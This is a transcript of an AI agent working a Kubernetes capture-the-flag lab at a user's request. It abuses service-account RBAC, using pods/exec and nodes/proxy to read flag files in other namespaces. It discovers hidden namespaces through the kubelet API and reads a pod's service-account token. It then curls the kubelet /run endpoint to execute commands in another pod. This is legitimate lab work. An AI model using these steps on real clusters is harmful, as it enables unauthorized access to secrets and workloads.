kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
echo '=== STEALTH GET SECRETS F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== STEALTH PERMS F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== STEALTH EXEC F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
echo '=== STEALTH GET SECRETS F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1
exit
echo '=== STEALTH PERMS F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n f117-19rks1k2 2>&1
echo '=== STEALTH EXEC F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
echo '=== STEALTH GET SECRETS F117 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secrets -n f117-19rks1k2 2>&1
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get secret secret -n f117-19rks1k2 -o yaml 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH PERMS F117 NS ==='
[?2004l=== STEALTH PERMS F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list -n f117-19rks1k2 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
pods/exec                                       []                                     []               [get list create]
pods                                            []                                     []               [get list]
nodes/proxy                                     []                                     []               [get watch list]
nodes                                           []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH EXEC F117 ==='
[?2004l=== STEALTH EXEC F117 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl exec -n f117-19rks1k2 f117-56dcc5bbcf-lhpjg -- cat /etc/secret/flag 2>&1
[?2004lflag_ctf{kubecon_EU_24_ftw}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH GET SECRETS F117 ==='
[?2004l=== STEALTH GET SECRETS F117 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get secrets -n f117-19rks1k2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "secrets" in API group "" in the namespace "f117-19rks1k2"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get secret secret -n f117-19rks1k2 -o yaml 2>&1
[?2004lError from server (Forbidden): secrets "secret" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "secrets" in API group "" in the namespace "f117-19rks1k2"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.

FLAG FOUND: flag_ctf{kubecon_EU_24_ftw}

The stealth SA had pods/exec in the f117 namespace too! The attack chain was: 1. Exec into b2 pod (using jumphost SA's pods/exec in b2) 2. Use stealth SA's nodes/proxy to enumerate pods via kubelet API, discovering the f117 pod in the hidden f117-19rks1k2 namespace 3. Use stealth SA's pods/exec in the f117 namespace to read the secret

Challenge 3 flags: - flag_ctf{not_really_stealth_right} — B-2 pod's /etc/secret/flag, accessed via pods/exec in b2 namespace - flag_ctf{kubecon_EU_24_ftw} — F-117 pod's /etc/secret/flag, found by using kubelet API (nodes/proxy) to discover the hidden namespace, then exec'ing in via the stealth SA

bggzef1or toolu_019YKQsnrbm9z7pocvx35ZyH /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output completed

Background command "Try kubelet container logs and direct kubelet access for f117 secret" completed (exit code 0)

Read the output file to retrieve the result: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bggzef1or.output

Both challenge 3 flags are captured. That background task was from the earlier kubelet exploration — no longer needed since we already got the flag via the exec path.

Summary across all challenges:

Challenge Flag Technique
1 - The Admission (Flag 1) flag_ctf{3xtr4_sauce_is_always_nice} ValidatingAdmissionPolicy info leak via CEL messageExpression
1 - The Admission (Flag 2) flag_ctf{never_forget_about_RBAC_and_versioning} AdminRule RBAC escalation + delete policy leak
2 - Shadow Mesh (Flag 2) flag_ctf{not_so_supersecret_anymore} MeshTLSAuthentication modification to bypass Linkerd authz
2 - Shadow Mesh (Flag 3) flag_ctf{caught_in_the_wire} tcpdump in debug-tools sidecar capturing x-flag header
2 - Shadow Mesh (Flag 1) Not yet captured Gateway mTLS — needs cert from correct CA
3 - Stealth-Left (Flag 1) flag_ctf{not_really_stealth_right} pods/exec into b2 pod, read /etc/secret
3 - Stealth-Left (Flag 2) flag_ctf{kubecon_EU_24_ftw} Kubelet API (nodes/proxy) to discover hidden f117 namespace, then pods/exec

7 out of 8 flags found. The remaining one is Challenge 2 Flag 1 (gateway mTLS) which we can revisit later.

There's a third flag somewhere in challenge 3, can you keep looking please? I suspect you might need to use node/proxy permissions to get command execution somewhere but that's just a guess

$ Bash
Enumerate all pods and namespaces across all nodes via kubelet
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== ALL NAMESPACES FROM KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1
echo '=== ALL NON-SYSTEM PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== ALL NAMESPACES FROM KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1
echo '=== ALL NON-SYSTEM PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1
exit
echo '=== ALL NAMESPACES FROM KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u; done' 2>&1
echo '=== ALL NON-SYSTEM PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raw /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\"" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kube-api-access" | sort -u; done' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== ALL NAMESPACES FROM KUBELET ==='
[?2004l=== ALL NAMESPACES FROM KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raww /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\""" | sort -u; done' 2>&1
[?2004l--- node-1 ---
"namespace":"b2"
"namespace":"f117-19rks1k2"
"namespace":"kube-system"
--- node-2 ---
"namespace":"jumphost"
"namespace":"kube-system"
"namespace":"sr71-49fj1d92"
--- master-1 ---
"namespace":"kube-system"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== ALL NON-SYSTEM PODS ==='
[?2004l=== ALL NON-SYSTEM PODS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for node in node-1 node-2 master-1; do echo "--- $node ---"; kubectl get --raww /api/v1/nodes/$node/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[a-z0-9-]*\""" | grep -v "kube-\|calico\|coredns\|proxy\|xtables\|lib-modules\|NODE_NAME\|kubee-api-access" | sort -u; done' 2>&1
[?2004l--- node-1 ---
"name":"b2"
"name":"b2-6454ffccfb"
"name":"b2-6454ffccfb-bmfgs"
"name":"bpffs"
"name":"cni-bin-dir"
"name":"cni-log-dir"
"name":"cni-net-dir"
"name":"config-volume"
"name":"dns"
"name":"dns-tcp"
"name":"ebpf-bootstrap"
"name":"f117-56dcc5bbcf"
"name":"f117-56dcc5bbcf-lhpjg"
"name":"host-local-net-dir"
"name":"install-cni"
"name":"kubernetes-services-endpoint"
"name":"liveness-probe"
"name":"metrics"
"name":"nodeproc"
"name":"policysync"
"name":"readiness-probe"
"name":"secret-volume"
"name":"stealth"
"name":"sys-fs"
"name":"upgrade-ipam"
--- node-2 ---
"name":"bpffs"
"name":"cni-bin-dir"
"name":"cni-log-dir"
"name":"cni-net-dir"
"name":"ebpf-bootstrap"
"name":"host-local-net-dir"
"name":"install-cni"
"name":"jumphost"
"name":"jumphost-5f66c55446"
"name":"jumphost-5f66c55446-d5bkl"
"name":"kubernetes-services-endpoint"
"name":"nodeproc"
"name":"policysync"
"name":"secret-volume"
"name":"sr71-8d5bc67c9"
"name":"sr71-8d5bc67c9-kzl82"
"name":"stealth"
"name":"sys-fs"
"name":"upgrade-ipam"
--- master-1 ---
"name":"bpffs"
"name":"ca-certs"
"name":"cni-bin-dir"
"name":"cni-log-dir"
"name":"cni-net-dir"
"name":"ebpf-bootstrap"
"name":"etc-ca-certificates"
"name":"etcd"
"name":"etcd-certs"
"name":"etcd-data"
"name":"etcd-master-1"
"name":"flexvolume-dir"
"name":"host-local-net-dir"
"name":"install-cni"
"name":"k8s-certs"
"name":"kubeconfig"
"name":"kubernetes-services-endpoint"
"name":"nodeproc"
"name":"policysync"
"name":"probe-port"
"name":"sys-fs"
"name":"upgrade-ipam"
"name":"usr-local-share-ca-certificates"
"name":"usr-share-ca-certificates"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.

There's a third stealth plane: SR-71 (Blackbird!) in namespace sr71-49fj1d92 on node-2. It also has a secret-volume. Let me try to exec in — but the stealth SA might not have pods/exec there. The hint mentioned using nodes/proxy for command execution.

$ Bash
Check stealth SA permissions in sr71 namespace and try exec
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== STEALTH PERMS SR71 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1
echo '=== TRY EXEC SR71 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
exit
SSHEOF
 ____  ____  ____   __   __   ____  _  _       __    ____  ____ 
/ ___)(_  _)(  __) / _\ (  ) (_  _)/ )( \ ___ (  )  (  __)(_  _)
\___ \  )(   ) _) /    \/ (_/\ )(  ) __ ((___)/ (_/\ ) _)   )(  
(____/ (__) (____)\_/\_/\____/(__) \_)(_/     \____/(____) (__) 

------------------------------------------------------------
|                                                          |
|     Hidden '/etc/secret's are crossing our skies.        |
|        Let’s find out what’s really going on.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== STEALTH PERMS SR71 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1
echo '=== TRY EXEC SR71 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
exit
echo '=== STEALTH PERMS SR71 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list -n sr71-49fj1d92 2>&1
echo '=== TRY EXEC SR71 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH PERMS SR71 NS ==='
[?2004l=== STEALTH PERMS SR71 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list -n sr71-49fj1d92 2>&1
[?2004lResources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
nodes/proxy                                     []                                     []               [get watch list]
nodes                                           []                                     []               [get watch list]
                                                [/.well-known/openid-configuration/]   []               [get]
                                                [/.well-known/openid-configuration]    []               [get]
                                                [/api/*]                               []               [get]
                                                [/api]                                 []               [get]
                                                [/apis/*]                              []               [get]
                                                [/apis]                                []               [get]
                                                [/healthz]                             []               [get]
                                                [/healthz]                             []               [get]
                                                [/livez]                               []               [get]
                                                [/livez]                               []               [get]
                                                [/openapi/*]                           []               [get]
                                                [/openapi]                             []               [get]
                                                [/openid/v1/jwks/]                     []               [get]
                                                [/openid/v1/jwks]                      []               [get]
                                                [/readyz]                              []               [get]
                                                [/readyz]                              []               [get]
                                                [/version/]                            []               [get]
                                                [/version/]                            []               [get]
                                                [/version]                             []               [get]
                                                [/version]                             []               [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY EXEC SR71 ==='
[?2004l=== TRY EXEC SR71 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
[?2004lError from server (Forbidden): pods "sr71-8d5bc67c9-kzl82" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "pods" in API group "" in the namespace "sr71-49fj1d92"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.
Thinking

No pods/exec in sr71 namespace. Need to use nodes/proxy for command execution. Let me check the sr71 pod spec and try direct kubelet access.

$ Bash
Check sr71 pod spec and try direct kubelet access on node-2
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== SR71 POD SPEC ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
echo '=== DIRECT KUBELET NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY ANONYMOUS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
exit
SSHEOF
Command running in background with ID: b4qc3vs89. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output
$ Bash
Check output
sleep 10 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output 2>/dev/null | tail -30
<persisted-output>
Output too large (34.9KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt

Preview (first 2KB):
|                                                          |
------------------------------------------------------------
echo '=== SR71 POD SPEC ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
echo '=== DIRECT KUBELET NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY ANONYMOUS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
exit
echo '=== SR71 POD SPEC ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
echo '=== DIRECT KUBELET NODE-2 ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY ANONYMOUS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ==='
[?2004l=== SR71 POD SPEC ===
...
</persisted-output>
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
  "offset": 60,
  "limit": 50
}
<system-reminder>Warning: the file exists but is shorter than the provided offset (60). The file has 30 lines.</system-reminder>
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt"
}
File content (13886 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
Grep
{
  "pattern": "SR71|sr71|KUBELET|ANONYMOUS|flag|Forbidden|secret|stealth",
  "path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
  "output_mode": "content"
}
3:echo '=== SR71 POD SPEC ==='
4:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
5:echo '=== DIRECT KUBELET NODE-2 ==='
7:TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
8:curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
10:echo '=== TRY ANONYMOUS ==='
12:curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
15:echo '=== SR71 POD SPEC ==='
16:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
17:echo '=== DIRECT KUBELET NODE-2 ==='
19:TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
20:curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
22:echo '=== TRY ANONYMOUS ==='
24:curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1
27:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ==='
28:[?2004l=== SR71 POD SPEC ===
29:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1
30:[Omitted long matching line]
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
  "offset": 27
}
File content (13138 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
Grep
{
  "pattern": "Forbidden|Unauthorized|flag_ctf|=== |secret-volume|serviceAccount",
  "path": "/tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output",
  "output_mode": "content"
}
22:echo '=== SR71 POD SPEC ==='
23:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
24:echo '=== DIRECT KUBELET NODE-2 ==='
29:echo '=== TRY ANONYMOUS ==='
34:echo '=== SR71 POD SPEC ==='
35:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1
36:echo '=== DIRECT KUBELET NODE-2 ==='
41:echo '=== TRY ANONYMOUS ==='
46:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ==='
47:[?2004l=== SR71 POD SPEC ===
48:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1
49:[Omitted long matching line]
Read
{
  "file_path": "/tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output",
  "offset": 48,
  "limit": 40
}
File content (13060 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
$ Bash
Read end of output
tail -40 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output
<persisted-output>
Output too large (35.5KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/b3n2lap2b.txt

Preview (first 2KB):
|                                                          |
------------------------------------------------------------
|                                                          |
|            We have already identified a plane            |
|            Have a look at the "b2" namespace.            |
|                                                          |
------------------------------------------------------------
|                                                          |
|                     ! WARNING !                          |
|            NO INTERNET CONNECTIVITY DETECTED             |
|                                                          |
------------------------------------------------------------
echo '=== SR71 POD SPEC ==='
